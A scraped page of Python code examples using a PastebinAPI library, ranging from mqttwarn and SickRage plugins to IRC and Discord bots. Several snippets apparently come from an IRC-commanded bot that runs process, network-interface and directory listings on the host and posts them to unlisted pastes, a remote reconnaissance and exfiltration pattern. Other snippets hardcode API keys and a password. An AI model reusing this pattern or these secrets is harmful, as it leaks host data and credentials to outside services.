Ejemplo n.º 1
1
 def upload_to_pastebin(self,text):
     api_dev_key =  '2a3df06fe524ed88d15b660ccdca21dc'
     api_paste_code = text
     paste_name = 'OpenHack2012'        
     pastebinObj = PastebinAPI()
     api_user_key = pastebinObj.generate_user_key(api_dev_key, "openhack2012", "yahoo")
     ret = pastebinObj.paste(api_dev_key, api_paste_code, api_user_key = api_user_key, paste_name = paste_name,
                             paste_format = None, paste_private = None,
                             paste_expire_date = None)        
     print ret,ret[20:]        
     return ret[20:]
Ejemplo n.º 2
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
                      item.service, item.target)

    if HAVE_PASTEBIN is False:
        srv.logging.warn("Pastebin module is not available.")
        return False

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(api_dev_key, username,
                                                     password)
    except Exception, e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" %
                         (str(e)))
        return False
Ejemplo n.º 3
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
        item.service, item.target)

    if HAVE_PASTEBIN is False:
        srv.logging.warn("Pastebin module is not available.")
        return False

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(
            api_dev_key,
            username,
            password)
    except Exception, e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" % (str(e)))
        return False
Ejemplo n.º 4
0
def pslist():  # Function to list process names and pids
    x = PastebinAPI()
    if (str(platform.platform()))[0:3] == "Win":
        # TODO: make this pretty
        p = subprocess.Popen('tasklist', shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='tasklist',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
    else:
        p = subprocess.Popen(['ps', 'aux'],
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ps aux',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
Ejemplo n.º 5
0
def ls(dir): # Directory listing
  if (str(platform.platform()))[0:3]=="Win":
    p = subprocess.Popen(['dir',dir], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ls -lahF', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')

    sendmsg(channel, url)
  else:
    x = PastebinAPI()
    p = subprocess.Popen(['ls', dir, '-lahF'], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    if paste_code == '':
       sendmsg(channel, 'No such file or directory')
    else:
      url = x.paste(pastebin_api_key,
                       paste_code,
                       paste_name = 'ls -lahF', 
                       paste_private = 'unlisted',
                       paste_expire_date = '10M')
      sendmsg(channel, url)
Ejemplo n.º 6
0
    def submit_errors(self):
        if not (sickbeard.GIT_USERNAME and sickbeard.GIT_PASSWORD and len(classes.ErrorViewer.errors) > 0):
            return

        gh_org = sickbeard.GIT_ORG or 'SiCKRAGETV'
        gh_repo = 'sickrage-issues'

        gh_issues = Github(login_or_token=sickbeard.GIT_USERNAME, password=sickbeard.GIT_PASSWORD,
                           user_agent="SiCKRAGE").get_organization(gh_org).get_repo(gh_repo)

        try:
            # read log file
            if self.logFile and os.path.isfile(self.logFile):
                with ek.ek(open, self.logFile) as f:
                    log_data = f.readlines()
                log_data = [line for line in reversed(log_data)]

            # parse and submit errors to issue tracker
            for curError in sorted(classes.ErrorViewer.errors, key=lambda error: error.time, reverse=True)[:500]:
                if not curError.title:
                    continue

                pastebin_url = None
                regex = "^(%s)\s*([A-Z]+)\s*(.+?)\s*\:\:\s*(.*)$" % curError.time
                for i, x in enumerate(log_data):
                    x = ek.ss(x)
                    match = re.match(regex, x)
                    if match:
                        level = match.group(2)
                        if reverseNames[level] == ERROR:
                            paste_data = "".join(log_data[i:50])
                            pastebin_url = PastebinAPI().paste('f59b8e9fa1fc2d033e399e6c7fb09d19', paste_data)
                            break

                message = u"### INFO\n"
                message += u"Python Version: **" + sys.version[:120] + "**\n"
                message += u"Operating System: **" + platform.platform() + "**\n"
                message += u"Branch: **" + sickbeard.BRANCH + "**\n"
                message += u"Commit: SiCKRAGETV/SickRage@" + sickbeard.CUR_COMMIT_HASH + "\n"
                if pastebin_url:
                    message += u"Pastebin Log URL: " + pastebin_url + "\n"
                message += u"### ERROR\n"
                message += u"```\n"
                message += curError.message + "\n"
                message += u"```\n"
                message += u"---\n"
                message += u"_STAFF NOTIFIED_: @SiCKRAGETV/owners @SiCKRAGETV/moderators"

                issue = gh_issues.create_issue("[APP SUBMITTED]: " + curError.title, message)
                if issue:
                    self.log('Your issue ticket #%s was submitted successfully!' % issue.number)

                # clear error from error list
                classes.ErrorViewer.errors.remove(curError)

                return issue
        except Exception as e:
            self.log(sickbeard.exceptions.ex(e), ERROR)
Ejemplo n.º 7
0
 def __init__(self, nickname=NICK, server=HOST, port=PORT, channel=CHAN):
     ircbot.SingleServerIRCBot.__init__(self, [(server, port)], nickname,
                                        nickname)
     self.reactor.add_global_handler('all_events', self.command_caller)
     self.cbot = cbot
     self.cbots = {}
     self.channel = channel
     self.build_commands()
     self.pick = pickle
     self.datetime = datetime
     self.tyme = time
     self.fnmatch = fnmatch
     self.version = VERSION
     self.re = re
     self.rng = random
     self.soop = BeautifulSoup
     self.url2 = urllib2
     self.url3 = urllib3
     self.boss = '%s.users.quakenet.org' % BOSS
     self.hashlib = hashlib
     self.mqueue = []
     self.urllib = urllib
     self.requests = requests
     #self.stripclub = stripclub
     self.udquery = udquery
     self.math = math
     self.os = os
     self.sys = sys
     self.json = json
     self.traceback = traceback
     self.botconfig = {}
     trpbot_commands.on_initialize(os.path.isfile, pickle, json, time)
     self.braining()
     self.reactor.execute_every(2.0, self.process_mqueue)
     self.load_config()
     self.pb = PastebinAPI()
     self.pbkey = None
     self.AUTOJOIN = trpbot_commands.AUTOJOIN
     self.socket = socket
     if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig[
             'pb_devkey'] and self.botconfig[
                 'pb_username'] and self.botconfig['pb_password']:
         self.pbkey = self.pb.generate_user_key(
             self.botconfig['pb_devkey'], self.botconfig['pb_username'],
             self.botconfig['pb_password'])
Ejemplo n.º 8
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
        item.service, item.target)

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(
            api_dev_key,
            username,
            password)
    except Exception as e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" % e)
        return False

    try:
        srv.logging.debug("Adding entry to pastebin.com as user %s..." % (username))
        pastebinapi.paste(
            api_dev_key,
            text,
            api_user_key = api_user_key,
            paste_name = pastename,
            paste_format = None,
            paste_private = pasteprivate,
            paste_expire_date = expiredate
            )
        srv.logging.debug("Successfully added paste to pastebin")
    except Exception as e:
        srv.logging.warn("Cannot publish to pastebin: %s" % e)
        return False

    return True
Ejemplo n.º 9
0
def ifconfig():  # Displays network interfaces
    if (str(platform.platform()))[0:3] == "Win":
        p = subprocess.Popen('ipconfig /all',
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ipconfig',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
    else:
        p = subprocess.Popen('ifconfig', shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ifconfig',
                      paste_private='unlisted',
                      paste_expire_date='10M')

        sendmsg(channel, url)
Ejemplo n.º 10
0
def ls(dir):  # Directory listing
    if (str(platform.platform()))[0:3] == "Win":
        p = subprocess.Popen(['dir', dir], shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ls -lahF',
                      paste_private='unlisted',
                      paste_expire_date='10M')

        sendmsg(channel, url)
    else:
        x = PastebinAPI()
        p = subprocess.Popen(['ls', dir, '-lahF'],
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        if paste_code == '':
            sendmsg(channel, 'No such file or directory')
        else:
            url = x.paste(pastebin_api_key,
                          paste_code,
                          paste_name='ls -lahF',
                          paste_private='unlisted',
                          paste_expire_date='10M')
            sendmsg(channel, url)
Ejemplo n.º 11
0
def pushtopastebin():
	api_dev_key = ' '
	password = '******'
	username = '******'
	api_results_limit = 25
	api_user_key = ' '
	x = PastebinAPI()
	details = x.user_details(' ',
							' ')


	now = datetime.datetime.now()
	time = now.strftime("%d_%m_%y-%H")
	filename = time+'.txt'
	try:
		with open(filename,"a") as file:
			content = file.read()
 		x.paste(api_dev_key, content, api_user_key = api_user_key, paste_name = filename,
 					   paste_format = None, paste_private = 'private',
 					   paste_expire_date = 'N')
 	except Exception as e:
 		print e
Ejemplo n.º 12
0
def pslist(): # Function to list process names and pids
  x = PastebinAPI()
  if (str(platform.platform()))[0:3]=="Win":
    # TODO: make this pretty
    p = subprocess.Popen('tasklist', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'tasklist', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
  else:
    p = subprocess.Popen(['ps', 'aux'], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ps aux', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
Ejemplo n.º 13
0
def main():
    pb = PastebinAPI()
    api_dev_key = os.environ['PASTEBIN_DEV_KEY']
    username = os.environ['PASTEBIN_USERNAME']
    password = os.environ['PASTEBIN_PASSWORD']
    # generating session key which will be needed after wards
    api_user_key = pb.generate_user_key(api_dev_key, username, password)

    all_pastes = pb.pastes_by_user(api_dev_key,
                                   api_user_key,
                                   results_limit=None)
    pastes_xml = "<all_pastes>" + all_pastes + "</all_pastes>"
    soup = bs(pastes_xml, 'xml')
    for paste_name in soup.findAll('paste_title'):
        if paste_name.string == "upcoming_events":
            paste_parent = paste_name.parent
            for key in paste_parent.find('paste_key'):
                # getting the key of the upcoming_events paste
                upcoming_events_key = key.string
            break
    events_json = requests.get("http://pastebin.com/raw/{}".format(
        upcoming_events_key)).json()  # getting paste data
    return events_json
Ejemplo n.º 14
0
def ifconfig(): # Displays network interfaces
  if (str(platform.platform()))[0:3]=="Win":
    p = subprocess.Popen('ipconfig /all', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ipconfig', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
  else:
    p = subprocess.Popen('ifconfig', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ifconfig', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')

    sendmsg(channel, url)
Ejemplo n.º 15
0
    def submit_errors(self):
        if not (sickbeard.GIT_USERNAME and sickbeard.GIT_PASSWORD and len(classes.ErrorViewer.errors) > 0):
            return

        title = "[APP SUBMITTED]: "

        gh_org = sickbeard.GIT_ORG or 'SiCKRAGETV'
        gh_repo = 'sickrage-issues'

        self.gh_issues = Github(login_or_token=sickbeard.GIT_USERNAME, password=sickbeard.GIT_PASSWORD,
                                user_agent="SiCKRAGE").get_organization(gh_org).get_repo(gh_repo)

        pastebin_url = None
        try:
            if self.logFile and os.path.isfile(self.logFile):
                with ek(open, self.logFile) as f:
                    data = f.readlines()
                    data = "".join(data[len(data) - 100:])
                    pastebin_url = PastebinAPI().paste('f59b8e9fa1fc2d033e399e6c7fb09d19', data)
        except Exception as e:
            pass

        try:
            for curError in sorted(classes.ErrorViewer.errors, key=lambda error: error.time, reverse=True)[:500]:
                if not curError.title:
                    continue

                message = u"### INFO\n"
                message += u"Python Version: **" + sys.version[:120] + "**\n"
                message += u"Operating System: **" + platform.platform() + "**\n"
                message += u"Branch: **" + sickbeard.BRANCH + "**\n"
                message += u"Commit: SiCKRAGETV/SickRage@" + sickbeard.CUR_COMMIT_HASH + "\n"
                if pastebin_url:
                    message += u"Pastebin Log URL: " + pastebin_url + "\n"
                message += u"### ERROR\n"
                message += u"```\n"
                message += curError.message + "\n"
                message += u"```\n"
                message += u"---\n"
                message += u"_STAFF NOTIFIED_: @SiCKRAGETV/owners @SiCKRAGETV/moderators"

                issue = self.gh_issues.create_issue(title + curError.title, message)
                if issue:
                    ui.notifications.message('Your issue ticket #%s was submitted successfully!' % issue.number)
                    classes.ErrorViewer.clear()

        except Exception as e:
            self.log(sickbeard.exceptions.ex(e), logger.ERROR)
Ejemplo n.º 16
0
	def __init__(self,nickname=NICK,server=HOST,port=PORT,channel=CHAN):
		ircbot.SingleServerIRCBot.__init__(self,[(server, port)],nickname,nickname)
		self.reactor.add_global_handler('all_events',self.command_caller)
		self.cbot = cbot
		self.cbots = {}
		self.channel = channel
		self.build_commands()
		self.pick = pickle
		self.datetime = datetime
		self.tyme = time
		self.fnmatch = fnmatch
		self.version = VERSION
		self.re = re
		self.rng = random
		self.soop = BeautifulSoup
		self.url2 = urllib2
		self.url3 = urllib3
		self.boss = '%s.users.quakenet.org' % BOSS
		self.hashlib = hashlib
		self.mqueue = []
		self.urllib = urllib
		self.requests = requests
		#self.stripclub = stripclub
		self.udquery = udquery
		self.math = math
		self.os = os
		self.sys = sys
		self.json = json
		self.traceback = traceback
		self.botconfig = {}
		trpbot_commands.on_initialize(os.path.isfile,pickle,json,time)
                self.braining()
		self.reactor.execute_every(2.0,self.process_mqueue)
		self.load_config()
		self.pb = PastebinAPI()
		self.pbkey = None
		self.AUTOJOIN = trpbot_commands.AUTOJOIN
		self.socket = socket
		if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig['pb_devkey'] and self.botconfig['pb_username'] and self.botconfig['pb_password']:
			self.pbkey = self.pb.generate_user_key(self.botconfig['pb_devkey'],self.botconfig['pb_username'],self.botconfig['pb_password'])
Ejemplo n.º 17
0
parser.add_argument('--temperature', type=float, help='temperature in text generation. Higher temperature creates more randomness in the results.', default=0.8)
parser.add_argument('--batch_size', type=int, help='batch size', default=1)
parser.add_argument('--output_length', type=int, help='length of output sequence (number of tokens)', default=500)
parser.add_argument('--past_length', type=int, help='amount of memorized inputs and responses', default=16)
parser.add_argument('--mem_path', type=str, help='path to memories json file', default='yukarimemory.json')
parser.add_argument('--gpu_index', type=int, help='which GPU to inference the AI on', default=None)
parser.add_argument('--gpu_max_mem', type=int, help='sets max GPU VRAM usage in megabytes', default=4096)
parser.add_argument('--timeout', type=int, help='Max time in seconds for an act job to run for', default=120)

# pastebin stuff
parser.add_argument('--pastebin_key', type=str, help='Pastebin dev key')

args = parser.parse_args()

client = Bot(command_prefix=args.prefix)
paste  = PastebinAPI()

embed_colour = Colour.from_rgb(178, 0, 255)

def pastebin_upload(content):
        return paste.paste(api_dev_key=args.pastebin_key, api_paste_code=content, api_user_key=None, paste_name=None, paste_format=None, paste_private='unlisted', paste_expire_date='N')

def trunc(num, digits):
        sp = str(num).split('.')
        return '.'.join([sp[0], sp[1][:digits]])

def log(com, logstr):
        timestamp = time.time() - start_time
        print('[' + trunc(timestamp, 4) + '] ' + com + ': ' + logstr)

def actjob(message, author):
Ejemplo n.º 18
0
    ip_str = 'No IP, failed when trying to retrieve it'

# Create paste string
paste_name = 'RPI IP at ' + now_str
paste_string = ip_str

if motion_log_string:
    logging.info('Appending ' + str(num_new_log_lines) +
                 ' log lines to paste string.')
    paste_string = ip_str + '\n\nMotion event log:\n\n' + motion_log_string
else:
    logging.info('No log lines appended to paste string.')
    paste_string = ip_str + '\n\nNo new log info.'

# Create pastebin object
pb = PastebinAPI()
logging.info('Created PastebinAPI object.')

# Paste it
logging.info('Trying to upload to pastebin with name `' + paste_name +
             '` and message `' + ip_str + '` plus ' + str(num_new_log_lines) +
             ' motion log lines.')
pburl = ''
paste_successful = False
try:
    pburl = pb.paste(dev_key, paste_string, my_key, paste_name, None,
                     'unlisted', '1D')
    logging.info('Successful pastebin url: ' + pburl)
    paste_successful = True
except PastebinError as e:
    logging.info(
Ejemplo n.º 19
0
import glob
import os
from pastebin import PastebinAPI

bin = PastebinAPI()

dir = ''
while not os.path.isdir(dir):
    dir = raw_input('[*] Enter code directory: ').replace('\\', '/')
dir += '/' if not dir.endswith('/') else ''
ext = raw_input('[*] Enter extension: ')
try:
    files = glob.glob(dir + '*.' + ext)
    for i in files:
        i = i.replace('\\', '/')
        name = i[i.rindex('/')+1:]
        data = ''
        with open(i, 'r') as file:
            data = file.read()
        url = bin.paste('6b31645087fd32346cc80168bce91e33',
                        data,
                        paste_name=name,
                        api_user_key='',
                        paste_format='python',
                        paste_private='unlisted',
                        paste_expire_date='N')
        print url
except:
    pass

raw_input()
Ejemplo n.º 20
0
class PPDBot(ircbot.SingleServerIRCBot):
	def __init__(self,nickname=NICK,server=HOST,port=PORT,channel=CHAN):
		ircbot.SingleServerIRCBot.__init__(self,[(server, port)],nickname,nickname)
		self.reactor.add_global_handler('all_events',self.command_caller)
		self.cbot = cbot
		self.cbots = {}
		self.channel = channel
		self.build_commands()
		self.pick = pickle
		self.datetime = datetime
		self.tyme = time
		self.fnmatch = fnmatch
		self.version = VERSION
		self.re = re
		self.rng = random
		self.soop = BeautifulSoup
		self.url2 = urllib2
		self.url3 = urllib3
		self.boss = '%s.users.quakenet.org' % BOSS
		self.hashlib = hashlib
		self.mqueue = []
		self.urllib = urllib
		self.requests = requests
		#self.stripclub = stripclub
		self.udquery = udquery
		self.math = math
		self.os = os
		self.sys = sys
		self.json = json
		self.traceback = traceback
		self.botconfig = {}
		trpbot_commands.on_initialize(os.path.isfile,pickle,json,time)
                self.braining()
		self.reactor.execute_every(2.0,self.process_mqueue)
		self.load_config()
		self.pb = PastebinAPI()
		self.pbkey = None
		self.AUTOJOIN = trpbot_commands.AUTOJOIN
		self.socket = socket
		if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig['pb_devkey'] and self.botconfig['pb_username'] and self.botconfig['pb_password']:
			self.pbkey = self.pb.generate_user_key(self.botconfig['pb_devkey'],self.botconfig['pb_username'],self.botconfig['pb_password'])
		#def execute_every(self, period, function, arguments=())

	
	def load_config(self):
		if os.path.isfile(CONFIG):
			with open(CONFIG) as f:
				self.botconfig = json.load(f)
		else:
			self.botconfig = {
				'pb_devkey':'',
				'pb_username':'',
				'pb_password':'',
				'irc_auth':'',
			}
			self.save_config()
			
        def braining(self):
            if os.path.isfile(BRAIN_FILE):
                f = open(BRAIN_FILE, 'r')
                for line in f:
                        add_to_brain(line, chain_length)
                uprint('Brain loaded!')
                f.close()
            else:
                uprint('Hoi! I need me some brains! Whaddya think I am, the Tin Man?')

	def save_config(self):
		with open(CONFIG,'wb') as f:
			self.json.dump(self.botconfig,f,sort_keys=True,indent=4)

	def process_mqueue(self):
		if not len(self.mqueue):
			return
		c,target,msg = self.mqueue.pop(0)
		uprint('PPDBot (in %s): %s' % (target,msg,))
		try:
			msg = ''.join(msg.splitlines())
			msg1 = '%s06%s%s' % (chr(3),msg[:386],chr(3))
			msg2 = ''
			if len(msg) > 386:
			    msg1 = '%s06%s%s' % (chr(3),msg[:386].rsplit(' ',1)[0],chr(3))
			    msg2 = msg[len(msg1)-3:]
			c.privmsg(target,msg1)
			if len(msg2):
				self.mqueue.append((c,target,msg2))
		except:
			#print('process_mqueue exception: %s' % (self.sys.exc_info(),))
			traceback.print_exc(file=sys.stdout)
			
	def add_mqueue(self,c,target,msg):
		self.mqueue.append((c,target,msg))
		
	def build_commands(self):
		self.commands = {}
		self.chatcmds = {}
		found = getmembers(trpbot_commands,isfunction)
		for fname,f in found:
			if len(fname) > 3 and fname[0:3] == 'on_':
				self.commands[fname] = f
			elif len(fname) > 4 and fname[0:4] == 'cmd_':
				self.chatcmds[fname] = f

	def command_caller(self,c,e):
		event_name = 'on_%s' % (e.type,)
		if event_name in self.commands:
			self.commands[event_name](self,c,e)
		#print('%s: %s' % (e.type,e.arguments[0] if len(e.arguments) else ''))


			
	def on_pubmsg(self,c,e):
		if e.target in self.channels:
			ch = self.channels[e.target]
			if self.boss in e.source and e.arguments[0] == '.reload':
				reloader.reload(trpbot_commands)
				self.build_commands()
				self.add_mqueue(c,e.target,'Reload complete.')
                        elif self.boss in e.source and e.arguments[0] =='.die':
                                raise KeyboardInterrupt('Die Command Received.')
		msg = e.arguments[0].strip()
                nick = e.source.nick
                mcmsg = ' '.join(e.arguments).encode('ascii','ignore')
                #uprint(mcmsg)
                if reply == '1':
                    if c.get_nickname() in mcmsg:
                        #time.sleep(0.2) #to prevent flooding
                        #mcmsg = re.compile(c.get_nickname() + '[:,]* ?', re.I).sub('', mcmsg)
                        prefix = '%s: ' % (nick, )
                    else:
                        prefix = '' 

                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    #uprint(mcmsg) #prints to stdout what sadface added to brain
                    if prefix or random.random() <= chattiness:
                        sentence = generate_sentence(mcmsg, chain_length, max_words)
                        if sentence:
                            self.add_mqueue(c,e.target,prefix + sentence)
                            #uprint(prefix + sentence) # ">" + "\t" + sentence #prints to stdout what sadface said
                # Replies to messages starting with the bot's name.
                elif reply == '2':
                    if mcmsg.startswith(c.get_nickname): #matches nickname, mecause of Noxz
                        #time.sleep(0.2) #to prevent flooding
                        #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                        prefix = "%s: " % (nick, )
                    else:
                        #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                        prefix = '' 

                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    #print "\t" + msg #prints to stdout what sadface added to brain
                    if prefix or random.random() <= chattiness:
                        sentence = generate_sentence(mcmsg, chain_length, max_words)
                        if sentence:
                            self.add_mqueue(c,e.target,prefix + sentence)
                            #uprint(prefix + sentence) #prints to stdout what sadface said
                else:     #for when you don't want it talking back
                    #print mcmsg
                    prefix = '' 
                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    if prefix or random.random() <= chattiness:
        #                sentence = generate_sentence(mcmsg, chain_length, max_words)
                        pass

	def on_nicknameinuse(self,c,e):
		c.nick('%s-' % (c.get_nickname(),))
		
	def on_welcome(self,c,e):
                uprint('Connected! Authing...')
		if AUTH or ('irc_auth' in self.botconfig and self.botconfig['irc_auth']):
			c.send_raw(AUTH if AUTH else self.botconfig['irc_auth'])
			c.mode(c.get_nickname(),'+x')
			uprint('Authed!')
		c.join(self.channel)
		for each_chan in trpbot_commands.AUTOJOIN:
			c.join(each_chan)
			self.add_mqueue(c,each_chan,'%s has arrived to touch your no no places.' % (c.get_nickname(),))
		
	def on_ctcp(self,c,e):
		nick = e.source.nick
		#uprint(' '.join(e.arguments))
		if e.arguments[0] == 'VERSION':
			c.ctcp_reply(nick,'VERSION %s' % (VERSION,))
		elif e.arguments[0] == 'PING':
                        if len(e.arguments) > 1:
                                #c.send_raw('PONG %s' % (e.arguments[1],))
                                c.ctcp_reply(nick,'PONG %s' % (e.arguments[1],))
                                uprint('PONG %s' % (e.arguments[1],))
                        else:
                                #c.send_raw('PONG')
                                c.ctcp_reply(nick,'PONG')
                                uprint('PONG')
		elif e.arguments[0] == 'DCC':
		        uprint('on_ctcp DCC: %s/%s/%s' % (e.arguments,e.target,e.source,))
		        msg = e.arguments[1]
		elif e.arguments[0] == 'DCC' and e.arguments[1].split(' ',1)[0] == 'CHAT':
			self.on_dccchat(c,e)
		        
	def on_dccchat(self,c,e):
		pass

        def on_disconnect(self,c,e):
                uprint('Disconnected.')
                if keeptrying == True:
                        uprint('Must reconnect. Reconnecting...')
                        bot.start()
                        
        def connected_checker(self):
            if not self.connection.is_connected() and keeptrying == True:
                uprint('Reconnecting...')
                bot.start()
Ejemplo n.º 21
0
import config
import reddit
import auth

# global scheduler
# noinspection PyRedeclaration
jobstores = {
    'default': SQLAlchemyJobStore(url='sqlite:///giveaways.sqlite')
}
job_defaults = {
    'coalesce': True,
    # 'max_instances': 3
}

scheduler = BlockingScheduler(jobstores=jobstores, job_defaults=job_defaults, timezone=utc)
pastebin = PastebinAPI()


def giveaway_codes(requester, identifier, winner, codes, post):
    """ Distributes giveaway codes, sends PM to winners and to requester
        Parameters:
            requester:  [string] reddit username
            identifier: [string] unique 6 digit
            winner:     [list] of winner usernames [strings]
            codes:      [list] giveaway codes [strings]
            post:       [object] post from praw
        Returns: winners/redditor[string] usernames in reddit format /u/username"""
    logging.info("%s:%s: Distributing codes to winners...", identifier, requester)

    pms_to_send = []
    failed_pms = []
Ejemplo n.º 22
0
from pastebin import PastebinAPI
x = PastebinAPI()
api_dev_key = "2f91bd58d372bd03629b0658be4c43be"
api_user_key = "4dd674c5b30fa17bf04b46cd6852e34e"
username = "******"
password = "******"

foo = open("cube.txt", 'r')
textout = foo.read()
foo.close()
url = x.paste(api_dev_key,textout,"hypercube",api_user_key,"text",'unlisted','N')
print url

Ejemplo n.º 23
0
class PPDBot(ircbot.SingleServerIRCBot):
    def __init__(self, nickname=NICK, server=HOST, port=PORT, channel=CHAN):
        ircbot.SingleServerIRCBot.__init__(self, [(server, port)], nickname,
                                           nickname)
        self.reactor.add_global_handler('all_events', self.command_caller)
        self.cbot = cbot
        self.cbots = {}
        self.channel = channel
        self.build_commands()
        self.pick = pickle
        self.datetime = datetime
        self.tyme = time
        self.fnmatch = fnmatch
        self.version = VERSION
        self.re = re
        self.rng = random
        self.soop = BeautifulSoup
        self.url2 = urllib2
        self.url3 = urllib3
        self.boss = '%s.users.quakenet.org' % BOSS
        self.hashlib = hashlib
        self.mqueue = []
        self.urllib = urllib
        self.requests = requests
        #self.stripclub = stripclub
        self.udquery = udquery
        self.math = math
        self.os = os
        self.sys = sys
        self.json = json
        self.traceback = traceback
        self.botconfig = {}
        trpbot_commands.on_initialize(os.path.isfile, pickle, json, time)
        self.braining()
        self.reactor.execute_every(2.0, self.process_mqueue)
        self.load_config()
        self.pb = PastebinAPI()
        self.pbkey = None
        self.AUTOJOIN = trpbot_commands.AUTOJOIN
        self.socket = socket
        if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig[
                'pb_devkey'] and self.botconfig[
                    'pb_username'] and self.botconfig['pb_password']:
            self.pbkey = self.pb.generate_user_key(
                self.botconfig['pb_devkey'], self.botconfig['pb_username'],
                self.botconfig['pb_password'])
        #def execute_every(self, period, function, arguments=())

    def load_config(self):
        if os.path.isfile(CONFIG):
            with open(CONFIG) as f:
                self.botconfig = json.load(f)
        else:
            self.botconfig = {
                'pb_devkey': '',
                'pb_username': '',
                'pb_password': '',
                'irc_auth': '',
            }
            self.save_config()

    def braining(self):
        if os.path.isfile(BRAIN_FILE):
            f = open(BRAIN_FILE, 'r')
            for line in f:
                add_to_brain(line, chain_length)
            uprint('Brain loaded!')
            f.close()
        else:
            uprint(
                'Hoi! I need me some brains! Whaddya think I am, the Tin Man?')

    def save_config(self):
        with open(CONFIG, 'wb') as f:
            self.json.dump(self.botconfig, f, sort_keys=True, indent=4)

    def process_mqueue(self):
        if not len(self.mqueue):
            return
        c, target, msg = self.mqueue.pop(0)
        uprint('PPDBot (in %s): %s' % (
            target,
            msg,
        ))
        try:
            msg = ''.join(msg.splitlines())
            msg1 = '%s06%s%s' % (chr(3), msg[:386], chr(3))
            msg2 = ''
            if len(msg) > 386:
                msg1 = '%s06%s%s' % (chr(3), msg[:386].rsplit(' ',
                                                              1)[0], chr(3))
                msg2 = msg[len(msg1) - 3:]
            c.privmsg(target, msg1)
            if len(msg2):
                self.mqueue.append((c, target, msg2))
        except:
            #print('process_mqueue exception: %s' % (self.sys.exc_info(),))
            traceback.print_exc(file=sys.stdout)

    def add_mqueue(self, c, target, msg):
        self.mqueue.append((c, target, msg))

    def build_commands(self):
        self.commands = {}
        self.chatcmds = {}
        found = getmembers(trpbot_commands, isfunction)
        for fname, f in found:
            if len(fname) > 3 and fname[0:3] == 'on_':
                self.commands[fname] = f
            elif len(fname) > 4 and fname[0:4] == 'cmd_':
                self.chatcmds[fname] = f

    def command_caller(self, c, e):
        event_name = 'on_%s' % (e.type, )
